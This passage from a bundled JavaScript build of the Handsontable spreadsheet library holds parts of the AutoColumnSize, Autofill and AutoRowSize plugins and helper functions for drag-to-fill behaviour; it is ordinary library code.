[defaultWidth] Default column width. It will be picked up if no calculated width found. * @param {Boolean} [keepMinimum=true] If `true` then returned value won't be smaller then 50 (default column width). * @returns {Number} */ }, { key: "getColumnWidth", value: function getColumnWidth(column) { var defaultWidth = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : void 0; var keepMinimum = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true; var width = defaultWidth; if (width === void 0) { width = this.widths[column]; if (keepMinimum && typeof width === 'number') { width = Math.max(width, _src.ViewportColumnsCalculator.DEFAULT_WIDTH); } } return width; } /** * Gets the first visible column. * * @returns {Number|null} Returns column index, -1 if table is not rendered or null if there are no columns to base the the calculations on. */ }, { key: "getFirstVisibleColumn", value: function getFirstVisibleColumn() { var wot = this.hot.view.wt; if (wot.wtViewport.columnsVisibleCalculator) { return wot.wtTable.getFirstVisibleColumn(); } if (wot.wtViewport.columnsRenderCalculator) { return wot.wtTable.getFirstRenderedColumn(); } return -1; } /** * Gets the last visible column. * * @returns {Number} Returns column index or -1 if table is not rendered. */ }, { key: "getLastVisibleColumn", value: function getLastVisibleColumn() { var wot = this.hot.view.wt; if (wot.wtViewport.columnsVisibleCalculator) { return wot.wtTable.getLastVisibleColumn(); } if (wot.wtViewport.columnsRenderCalculator) { return wot.wtTable.getLastRenderedColumn(); } return -1; } /** * Collects all columns which titles has been changed in comparison to the previous state. * * @private * @returns {Array} It returns an array of physical column indexes. */ }, { key: "findColumnsWhereHeaderWasChanged", value: function findColumnsWhereHeaderWasChanged() { var columnHeaders = this.hot.getColHeader(); var _privatePool$get = privatePool.get(this), cachedColumnHeaders = _privatePool$get.cachedColumnHeaders; var changedColumns = (0, _array.arrayReduce)(columnHeaders, function (acc, columnTitle, physicalColumn) { var cachedColumnsLength = cachedColumnHeaders.length; if (cachedColumnsLength - 1 < physicalColumn || cachedColumnHeaders[physicalColumn] !== columnTitle) { acc.push(physicalColumn); } if (cachedColumnsLength - 1 < physicalColumn) { cachedColumnHeaders.push(columnTitle); } else { cachedColumnHeaders[physicalColumn] = columnTitle; } return acc; }, []); return changedColumns; } /** * Clears cache of calculated column widths. If you want to clear only selected columns pass an array with their indexes. * Otherwise whole cache will be cleared. * * @param {Number[]} [columns] List of physical column indexes to clear. */ }, { key: "clearCache", value: function clearCache() { var _this5 = this; var columns = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : []; if (columns.length) { (0, _array.arrayEach)(columns, function (physicalIndex) { _this5.widths[physicalIndex] = void 0; }); } else { this.widths.length = 0; } } /** * Checks if all widths were calculated. If not then return `true` (need recalculate). * * @returns {Boolean} */ }, { key: "isNeedRecalculate", value: function isNeedRecalculate() { return !!(0, _array.arrayFilter)(this.widths, function (item) { return item === void 0; }).length; } /** * On before render listener. * * @private */ }, { key: "onBeforeRender", value: function onBeforeRender() { var force = this.hot.renderCall; var rowsCount = this.hot.countRows(); var firstVisibleColumn = this.getFirstVisibleColumn(); var lastVisibleColumn = this.getLastVisibleColumn(); if (firstVisibleColumn === null || lastVisibleColumn === null) { return; } // Keep last column widths unchanged for situation when all rows was deleted or trimmed (pro #6) if (!rowsCount) { return; } this.calculateColumnsWidth({ from: firstVisibleColumn, to: lastVisibleColumn }, void 0, force); if (this.isNeedRecalculate() && !this.inProgress) { this.calculateAllColumnsWidth(); } } /** * On after load data listener. * * @private */ }, { key: "onAfterLoadData", value: function onAfterLoadData() { var _this6 = this; if (this.hot.view) { this.recalculateAllColumnsWidth(); } else { // first load - initialization setTimeout(function () { if (_this6.hot) { _this6.recalculateAllColumnsWidth(); } }, 0); } } /** * On before change listener. * * @private * @param {Array} changes */ }, { key: "onBeforeChange", value: function onBeforeChange(changes) { var _this7 = this; var changedColumns = (0, _array.arrayMap)(changes, function (_ref3) { var _ref4 = _slicedToArray(_ref3, 2), column = _ref4[1]; return _this7.hot.propToCol(column); }); this.clearCache(changedColumns); } /** * On before column resize listener. * * @private * @param {Number} col * @param {Number} size * @param {Boolean} isDblClick * @returns {Number} */ }, { key: "onBeforeColumnResize", value: function onBeforeColumnResize(col, size, isDblClick) { var newSize = size; if (isDblClick) { this.calculateColumnsWidth(col, void 0, true); newSize = this.getColumnWidth(col, void 0, false); } return newSize; } /** * On after Handsontable init fill plugin with all necessary values. * * @private */ }, { key: "onAfterInit", value: function onAfterInit() { privatePool.get(this).cachedColumnHeaders = this.hot.getColHeader(); } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { this.ghostTable.clean(); _get(_getPrototypeOf(AutoColumnSize.prototype), "destroy", this).call(this); } }]); return AutoColumnSize; }(_base.default); (0, _plugins.registerPlugin)('autoColumnSize', AutoColumnSize); var _default = AutoColumnSize; exports.default = _default; /***/ }), /* 668 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _element = __webpack_require__(1); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _plugins = __webpack_require__(13); var _src = __webpack_require__(8); var _utils = __webpack_require__(669); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } _pluginHooks.default.getSingleton().register('modifyAutofillRange'); _pluginHooks.default.getSingleton().register('beforeAutofill'); var INSERT_ROW_ALTER_ACTION_NAME = 'insert_row'; var INTERVAL_FOR_ADDING_ROW = 200; /** * This plugin provides "drag-down" and "copy-down" functionalities, both operated using the small square in the right * bottom of the cell selection. * * "Drag-down" expands the value of the selected cells to the neighbouring cells when you drag the small square in the corner. * * "Copy-down" copies the value of the selection to all empty cells below when you double click the small square. * * @class Autofill * @plugin Autofill */ var Autofill = /*#__PURE__*/ function (_BasePlugin) { _inherits(Autofill, _BasePlugin); function Autofill(hotInstance) { var _this; _classCallCheck(this, Autofill); _this = _possibleConstructorReturn(this, _getPrototypeOf(Autofill).call(this, hotInstance)); /** * Event manager instance. * * @private * @type {EventManager} */ _this.eventManager = new _eventManager.default(_assertThisInitialized(_assertThisInitialized(_this))); /** * Specifies if adding new row started. * * @private * @type {Boolean} */ _this.addingStarted = false; /** * Specifies if there was mouse down on the cell corner. * * @private * @type {Boolean} */ _this.mouseDownOnCellCorner = false; /** * Specifies if mouse was dragged outside Handsontable. * * @private * @type {Boolean} */ _this.mouseDragOutside = false; /** * Specifies how many cell levels were dragged using the handle. * * @private * @type {Boolean} */ _this.handleDraggedCells = 0; /** * Specifies allowed directions of drag (`'horizontal'` or '`vertical`'). * * @private * @type {String[]} */ _this.directions = []; /** * Specifies if can insert new rows if needed. * * @type {Boolean} */ _this.autoInsertRow = false; return _this; } /** * Checks if the plugin is enabled in the Handsontable settings. * * @returns {Boolean} */ _createClass(Autofill, [{ key: "isEnabled", value: function isEnabled() { return this.hot.getSettings().fillHandle; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.mapSettings(); this.registerEvents(); this.addHook('afterOnCellCornerMouseDown', function (event) { return _this2.onAfterCellCornerMouseDown(event); }); this.addHook('afterOnCellCornerDblClick', function (event) { return _this2.onCellCornerDblClick(event); }); this.addHook('beforeOnCellMouseOver', function (event, coords) { return _this2.onBeforeCellMouseOver(coords); }); _get(_getPrototypeOf(Autofill.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); _get(_getPrototypeOf(Autofill.prototype), "updatePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { this.clearMappedSettings(); _get(_getPrototypeOf(Autofill.prototype), "disablePlugin", this).call(this); } /** * Gets selection data * * @private * @returns {Array} Array with the data. */ }, { key: "getSelectionData", value: function getSelectionData() { var selRange = { from: this.hot.getSelectedRangeLast().from, to: this.hot.getSelectedRangeLast().to }; return this.hot.getData(selRange.from.row, selRange.from.col, selRange.to.row, selRange.to.col); } /** * Try to apply fill values to the area in fill border, omitting the selection border. * * @private * @returns {Boolean} reports if fill was applied. * * @fires Hooks#modifyAutofillRange * @fires Hooks#beforeAutofill */ }, { key: "fillIn", value: function fillIn() { if (this.hot.selection.highlight.getFill().isEmpty()) { return false; } var cornersOfSelectionAndDragAreas = this.hot.selection.highlight.getFill().getCorners(); this.resetSelectionOfDraggedArea(); var cornersOfSelectedCells = this.getCornersOfSelectedCells(); cornersOfSelectionAndDragAreas = this.hot.runHooks('modifyAutofillRange', cornersOfSelectionAndDragAreas, cornersOfSelectedCells); var _getDragDirectionAndR = (0, _utils.getDragDirectionAndRange)(cornersOfSelectedCells, cornersOfSelectionAndDragAreas), directionOfDrag = _getDragDirectionAndR.directionOfDrag, startOfDragCoords = _getDragDirectionAndR.startOfDragCoords, endOfDragCoords = _getDragDirectionAndR.endOfDragCoords; if (startOfDragCoords && startOfDragCoords.row > -1 && startOfDragCoords.col > -1) { var selectionData = this.getSelectionData(); this.hot.runHooks('beforeAutofill', startOfDragCoords, endOfDragCoords, selectionData); var deltas = (0, _utils.getDeltas)(startOfDragCoords, endOfDragCoords, selectionData, directionOfDrag); var fillData = selectionData; if (['up', 'left'].indexOf(directionOfDrag) > -1) { fillData = []; var dragLength = null; var fillOffset = null; if (directionOfDrag === 'up') { dragLength = endOfDragCoords.row - startOfDragCoords.row + 1; fillOffset = dragLength % selectionData.length; for (var i = 0; i < dragLength; i++) { fillData.push(selectionData[(i + (selectionData.length - fillOffset)) % selectionData.length]); } } else { dragLength = endOfDragCoords.col - startOfDragCoords.col + 1; fillOffset = dragLength % selectionData[0].length; for (var _i = 0; _i < selectionData.length; _i++) { fillData.push([]); for (var j = 0; j < dragLength; j++) { fillData[_i].push(selectionData[_i][(j + (selectionData[_i].length - fillOffset)) % selectionData[_i].length]); } } } } this.hot.populateFromArray(startOfDragCoords.row, startOfDragCoords.col, fillData, endOfDragCoords.row, endOfDragCoords.col, "".concat(this.pluginName, ".fill"), null, directionOfDrag, deltas); this.setSelection(cornersOfSelectionAndDragAreas); } else { // reset to avoid some range bug this.hot._refreshBorders(); } return true; } /** * Reduces the selection area if the handle was dragged outside of the table or on headers. * * @private * @param {CellCoords} coords indexes of selection corners. * @returns {CellCoords} */ }, { key: "reduceSelectionAreaIfNeeded", value: function reduceSelectionAreaIfNeeded(coords) { if (coords.row < 0) { coords.row = 0; } if (coords.col < 0) { coords.col = 0; } return coords; } /** * Gets the coordinates of the drag & drop borders. * * @private * @param {CellCoords} coordsOfSelection `CellCoords` coord object. * @returns {Array} */ }, { key: "getCoordsOfDragAndDropBorders", value: function getCoordsOfDragAndDropBorders(coordsOfSelection) { var topLeftCorner = this.hot.getSelectedRangeLast().getTopLeftCorner(); var bottomRightCorner = this.hot.getSelectedRangeLast().getBottomRightCorner(); var coords; if (this.directions.includes(_utils.DIRECTIONS.vertical) && (bottomRightCorner.row < coordsOfSelection.row || topLeftCorner.row > coordsOfSelection.row)) { coords = new _src.CellCoords(coordsOfSelection.row, bottomRightCorner.col); } else if (this.directions.includes(_utils.DIRECTIONS.horizontal)) { coords = new _src.CellCoords(bottomRightCorner.row, coordsOfSelection.col); } else { // wrong direction return; } return this.reduceSelectionAreaIfNeeded(coords); } /** * Show the fill border. * * @private * @param {CellCoords} coordsOfSelection `CellCoords` coord object. */ }, { key: "showBorder", value: function showBorder(coordsOfSelection) { var coordsOfDragAndDropBorders = this.getCoordsOfDragAndDropBorders(coordsOfSelection); if (coordsOfDragAndDropBorders) { this.redrawBorders(coordsOfDragAndDropBorders); } } /** * Add new row * * @private */ }, { key: "addRow", value: function addRow() { var _this3 = this; this.hot._registerTimeout(setTimeout(function () { _this3.hot.alter(INSERT_ROW_ALTER_ACTION_NAME, void 0, 1, "".concat(_this3.pluginName, ".fill")); _this3.addingStarted = false; }, INTERVAL_FOR_ADDING_ROW)); } /** * Add new rows if they are needed to continue auto-filling values. * * @private */ }, { key: "addNewRowIfNeeded", value: function addNewRowIfNeeded() { if (this.hot.selection.highlight.getFill().cellRange && this.addingStarted === false && this.autoInsertRow) { var cornersOfSelectedCells = this.hot.getSelectedLast(); var cornersOfSelectedDragArea = this.hot.selection.highlight.getFill().getCorners(); var nrOfTableRows = this.hot.countRows(); if (cornersOfSelectedCells[2] < nrOfTableRows - 1 && cornersOfSelectedDragArea[2] === nrOfTableRows - 1) { this.addingStarted = true; this.addRow(); } } } /** * Get corners of selected cells. * * @private * @returns {Array} */ }, { key: "getCornersOfSelectedCells", value: function getCornersOfSelectedCells() { if (this.hot.selection.isMultiple()) { return this.hot.selection.highlight.createOrGetArea().getCorners(); } return this.hot.selection.highlight.getCell().getCorners(); } /** * Get index of last adjacent filled in row * * @private * @param {Array} cornersOfSelectedCells indexes of selection corners. * @returns {Number} gives number greater than or equal to zero when selection adjacent can be applied. * or -1 when selection adjacent can't be applied */ }, { key: "getIndexOfLastAdjacentFilledInRow", value: function getIndexOfLastAdjacentFilledInRow(cornersOfSelectedCells) { var data = this.hot.getData(); var nrOfTableRows = this.hot.countRows(); var lastFilledInRowIndex; for (var rowIndex = cornersOfSelectedCells[2] + 1; rowIndex < nrOfTableRows; rowIndex++) { for (var columnIndex = cornersOfSelectedCells[1]; columnIndex <= cornersOfSelectedCells[3]; columnIndex++) { var dataInCell = data[rowIndex][columnIndex]; if (dataInCell) { return -1; } } var dataInNextLeftCell = data[rowIndex][cornersOfSelectedCells[1] - 1]; var dataInNextRightCell = data[rowIndex][cornersOfSelectedCells[3] + 1]; if (!!dataInNextLeftCell || !!dataInNextRightCell) { lastFilledInRowIndex = rowIndex; } } return lastFilledInRowIndex; } /** * Adds a selection from the start area to the specific row index. * * @private * @param {Array} selectStartArea selection area from which we start to create more comprehensive selection. * @param {Number} rowIndex */ }, { key: "addSelectionFromStartAreaToSpecificRowIndex", value: function addSelectionFromStartAreaToSpecificRowIndex(selectStartArea, rowIndex) { this.hot.selection.highlight.getFill().clear().add(new _src.CellCoords(selectStartArea[0], selectStartArea[1])).add(new _src.CellCoords(rowIndex, selectStartArea[3])); } /** * Sets selection based on passed corners. * * @private * @param {Array} cornersOfArea */ }, { key: "setSelection", value: function setSelection(cornersOfArea) { var _this$hot; (_this$hot = this.hot).selectCell.apply(_this$hot, _toConsumableArray(cornersOfArea).concat([false, false])); } /** * Try to select cells down to the last row in the left column and then returns if selection was applied. * * @private * @returns {Boolean} */ }, { key: "selectAdjacent", value: function selectAdjacent() { var cornersOfSelectedCells = this.getCornersOfSelectedCells(); var lastFilledInRowIndex = this.getIndexOfLastAdjacentFilledInRow(cornersOfSelectedCells); if (lastFilledInRowIndex === -1 || lastFilledInRowIndex === void 0) { return false; } this.addSelectionFromStartAreaToSpecificRowIndex(cornersOfSelectedCells, lastFilledInRowIndex); return true; } /** * Resets selection of dragged area. * * @private */ }, { key: "resetSelectionOfDraggedArea", value: function resetSelectionOfDraggedArea() { this.handleDraggedCells = 0; this.hot.selection.highlight.getFill().clear(); } /** * Redraws borders. * * @private * @param {CellCoords} coords `CellCoords` coord object. */ }, { key: "redrawBorders", value: function redrawBorders(coords) { this.hot.selection.highlight.getFill().clear().add(this.hot.getSelectedRangeLast().from).add(this.hot.getSelectedRangeLast().to).add(coords); this.hot.view.render(); } /** * Get if mouse was dragged outside. * * @private * @param {MouseEvent} event `mousemove` event properties. * @returns {Boolean} */ }, { key: "getIfMouseWasDraggedOutside", value: function getIfMouseWasDraggedOutside(event) { var tableBottom = (0, _element.offset)(this.hot.table).top - (window.pageYOffset || document.documentElement.scrollTop) + (0, _element.outerHeight)(this.hot.table); var tableRight = (0, _element.offset)(this.hot.table).left - (window.pageXOffset || document.documentElement.scrollLeft) + (0, _element.outerWidth)(this.hot.table); return event.clientY > tableBottom && event.clientX <= tableRight; } /** * Bind the events used by the plugin. * * @private */ }, { key: "registerEvents", value: function registerEvents() { var _this4 = this; this.eventManager.addEventListener(document.documentElement, 'mouseup', function () { return _this4.onMouseUp(); }); this.eventManager.addEventListener(document.documentElement, 'mousemove', function (event) { return _this4.onMouseMove(event); }); } /** * On cell corner double click callback. * * @private */ }, { key: "onCellCornerDblClick", value: function onCellCornerDblClick() { var selectionApplied = this.selectAdjacent(); if (selectionApplied) { this.fillIn(); } } /** * On after cell corner mouse down listener. * * @private */ }, { key: "onAfterCellCornerMouseDown", value: function onAfterCellCornerMouseDown() { this.handleDraggedCells = 1; this.mouseDownOnCellCorner = true; } /** * On before cell mouse over listener. * * @private * @param {CellCoords} coords `CellCoords` coord object. */ }, { key: "onBeforeCellMouseOver", value: function onBeforeCellMouseOver(coords) { if (this.mouseDownOnCellCorner && !this.hot.view.isMouseDown() && this.handleDraggedCells) { this.handleDraggedCells += 1; this.showBorder(coords); this.addNewRowIfNeeded(); } } /** * On mouse up listener. * * @private */ }, { key: "onMouseUp", value: function onMouseUp() { if (this.handleDraggedCells) { if (this.handleDraggedCells > 1) { this.fillIn(); } this.handleDraggedCells = 0; this.mouseDownOnCellCorner = false; } } /** * On mouse move listener. * * @private * @param {MouseEvent} event `mousemove` event properties. */ }, { key: "onMouseMove", value: function onMouseMove(event) { var mouseWasDraggedOutside = this.getIfMouseWasDraggedOutside(event); if (this.addingStarted === false && this.handleDraggedCells > 0 && mouseWasDraggedOutside) { this.mouseDragOutside = true; this.addingStarted = true; } else { this.mouseDragOutside = false; } if (this.mouseDragOutside && this.autoInsertRow) { this.addRow(); } } /** * Clears mapped settings. * * @private */ }, { key: "clearMappedSettings", value: function clearMappedSettings() { this.directions.length = 0; this.autoInsertRow = false; } /** * Map settings. * * @private */ }, { key: "mapSettings", value: function mapSettings() { var mappedSettings = (0, _utils.getMappedFillHandleSetting)(this.hot.getSettings().fillHandle); this.directions = mappedSettings.directions; this.autoInsertRow = mappedSettings.autoInsertRow; } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { _get(_getPrototypeOf(Autofill.prototype), "destroy", this).call(this); } }]); return Autofill; }(_base.default); (0, _plugins.registerPlugin)('autofill', Autofill); var _default = Autofill; exports.default = _default; /***/ }), /* 669 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.getDeltas = getDeltas; exports.getDragDirectionAndRange = getDragDirectionAndRange; exports.getMappedFillHandleSetting = getMappedFillHandleSetting; exports.DIRECTIONS = void 0; var _object = __webpack_require__(2); var _mixed = __webpack_require__(14); var _src = __webpack_require__(8); var DIRECTIONS = { horizontal: 'horizontal', vertical: 'vertical' }; /** * Get deltas array. * * @param {CellCoords} start * @param {CellCoords} end * @param {Array} data * @param {String} direction * @returns {Array} */ exports.DIRECTIONS = DIRECTIONS; function getDeltas(start, end, data, direction) { var rowsLength = data.length; var columnsLength = data ? data[0].length : 0; var deltas = []; var diffRow = end.row - start.row; var diffCol = end.col - start.col; if (['down', 'up'].indexOf(direction) !== -1) { var arr = []; for (var col = 0; col <= diffCol; col++) { var startValue = parseInt(data[0][col], 10); var endValue = parseInt(data[rowsLength - 1][col], 10); var delta = (direction === 'down' ? endValue - startValue : startValue - endValue) / (rowsLength - 1) || 0; arr.push(delta); } deltas.push(arr); } if (['right', 'left'].indexOf(direction) !== -1) { for (var row = 0; row <= diffRow; row++) { var _startValue = parseInt(data[row][0], 10); var _endValue = parseInt(data[row][columnsLength - 1], 10); var _delta = (direction === 'right' ? _endValue - _startValue : _startValue - _endValue) / (columnsLength - 1) || 0; deltas.push([_delta]); } } return deltas; } /** * Get direction between positions and cords of selections difference (drag area) * * @param {Array} startSelection * @param {Array} endSelection * @returns {{direction: String, start: CellCoords, end: CellCoords}} */ function getDragDirectionAndRange(startSelection, endSelection) { var startOfDragCoords; var endOfDragCoords; var directionOfDrag; if (endSelection[0] === startSelection[0] && endSelection[1] < startSelection[1]) { directionOfDrag = 'left'; startOfDragCoords = new _src.CellCoords(endSelection[0], endSelection[1]); endOfDragCoords = new _src.CellCoords(endSelection[2], startSelection[1] - 1); } else if (endSelection[2] === startSelection[2] && endSelection[0] === startSelection[0] && endSelection[3] > startSelection[3]) { directionOfDrag = 'right'; startOfDragCoords = new _src.CellCoords(endSelection[0], startSelection[3] + 1); endOfDragCoords = new _src.CellCoords(endSelection[2], endSelection[3]); } else if (endSelection[0] < startSelection[0] && endSelection[1] === startSelection[1]) { directionOfDrag = 'up'; startOfDragCoords = new _src.CellCoords(endSelection[0], endSelection[1]); endOfDragCoords = new _src.CellCoords(startSelection[0] - 1, endSelection[3]); } else if (endSelection[2] > startSelection[2] && endSelection[1] === startSelection[1]) { directionOfDrag = 'down'; startOfDragCoords = new _src.CellCoords(startSelection[2] + 1, endSelection[1]); endOfDragCoords = new _src.CellCoords(endSelection[2], endSelection[3]); } return { directionOfDrag: directionOfDrag, startOfDragCoords: startOfDragCoords, endOfDragCoords: endOfDragCoords }; } /** * Get mapped FillHandle setting containing information about * allowed FillHandle directions and if allowed is automatic insertion of rows on drag * * @param {Boolean|Object} fillHandle property of Handsontable settings * @returns {{directions: Array, autoInsertRow: Boolean}} object allowing access to information * about FillHandle in more useful way */ function getMappedFillHandleSetting(fillHandle) { var mappedSettings = {}; if (fillHandle === true) { mappedSettings.directions = Object.keys(DIRECTIONS); mappedSettings.autoInsertRow = true; } else if ((0, _object.isObject)(fillHandle)) { if ((0, _mixed.isDefined)(fillHandle.autoInsertRow)) { // autoInsertRow for horizontal direction will be always false if (fillHandle.direction === DIRECTIONS.horizontal) { mappedSettings.autoInsertRow = false; } else { mappedSettings.autoInsertRow = fillHandle.autoInsertRow; } } else { mappedSettings.autoInsertRow = false; } if ((0, _mixed.isDefined)(fillHandle.direction)) { mappedSettings.directions = [fillHandle.direction]; } else { mappedSettings.directions = Object.keys(DIRECTIONS); } } else if (typeof fillHandle === 'string') { mappedSettings.directions = [fillHandle]; mappedSettings.autoInsertRow = true; } else { mappedSettings.directions = []; mappedSettings.autoInsertRow = false; } return mappedSettings; } /***/ }), /* 670 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _array = __webpack_require__(3); var _feature = __webpack_require__(47); var _element = __webpack_require__(1); var _ghostTable = _interopRequireDefault(__webpack_require__(124)); var _object = __webpack_require__(2); var _number = __webpack_require__(9); var _plugins = __webpack_require__(13); var _samplesGenerator = _interopRequireDefault(__webpack_require__(431)); var _string = __webpack_require__(48); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @plugin AutoRowSize * * @description * This plugin allows to set row heights based on their highest cells. * * By default, the plugin is declared as `undefined`, which makes it disabled (same as if it was declared as `false`). * Enabling this plugin may decrease the overall table performance, as it needs to calculate the heights of all cells to * resize the rows accordingly. * If you experience problems with the performance, try turning this feature off and declaring the row heights manually. * * Row height calculations are divided into sync and async part. Each of this parts has their own advantages and * disadvantages. Synchronous calculations are faster but they block the browser UI, while the slower asynchronous * operations don't block the browser UI. * * To configure the sync/async distribution, you can pass an absolute value (number of columns) or a percentage value to a config object: * ```js * // as a number (300 columns in sync, rest async) * autoRowSize: {syncLimit: 300}, * * // as a string (percent) * autoRowSize: {syncLimit: '40%'}, * * // allow sample duplication * autoRowSize: {syncLimit: '40%', allowSampleDuplicates: true}, * ``` * * You can also use the `allowSampleDuplicates` option to allow sampling duplicate values when calculating the row * height. __Note__, that this might have a negative impact on performance. * * To configure this plugin see {@link Options#autoRowSize}. * * @example * * ```js * const hot = new Handsontable(document.getElementById('example'), { * date: getData(), * autoRowSize: true * }); * // Access to plugin instance: * const plugin = hot.getPlugin('autoRowSize'); * * plugin.getRowHeight(4); * * if (plugin.isEnabled()) { * // code... * } * ``` */ var AutoRowSize = /*#__PURE__*/ function (_BasePlugin) { _inherits(AutoRowSize, _BasePlugin); _createClass(AutoRowSize, null, [{ key: "CALCULATION_STEP", get: function get() { return 50; } }, { key: "SYNC_CALCULATION_LIMIT", get: function get() { return 500; } }]); function AutoRowSize(hotInstance) { var _this; _classCallCheck(this, AutoRowSize); _this = _possibleConstructorReturn(this, _getPrototypeOf(AutoRowSize).call(this, hotInstance)); /** * Cached rows heights. * * @type {Number[]} */ _this.heights = []; /** * Instance of {@link GhostTable} for rows and columns size calculations. * * @private * @type {GhostTable} */ _this.ghostTable = new _ghostTable.default(_this.hot); /** * Instance of {@link SamplesGenerator} 